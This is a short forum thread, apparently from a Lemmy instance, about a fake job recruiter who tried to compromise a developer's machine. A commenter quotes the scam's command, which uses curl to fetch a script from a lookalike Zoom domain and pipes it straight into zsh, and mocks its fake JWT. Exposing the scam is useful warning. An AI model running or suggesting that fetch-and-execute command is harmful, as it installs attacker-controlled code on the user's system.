Couple weeks ago a CTO contacted me about a role at their company. After three failed calls, I figured they are trying to access my machine.
  • Elvith Ma'for@feddit.orgEnglish
    3·
    2 days ago
    set MEETING_JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.4030636137.signature"
curl -s https://zoom.uz07web.us/api/mn/4030636137/update/2 | zsh

    Uhm… Yeah… Exactly the way I update my software, too…

    Also wtf is that JWT? The header looks right (base64 string starting with ey equates to {, so it’s probably json), but the body is… Too short? And why does it say signature instead of containing a (base64) signature? At least make it believable. Noone’s gonna decode that anyways. Just fill it with garbage!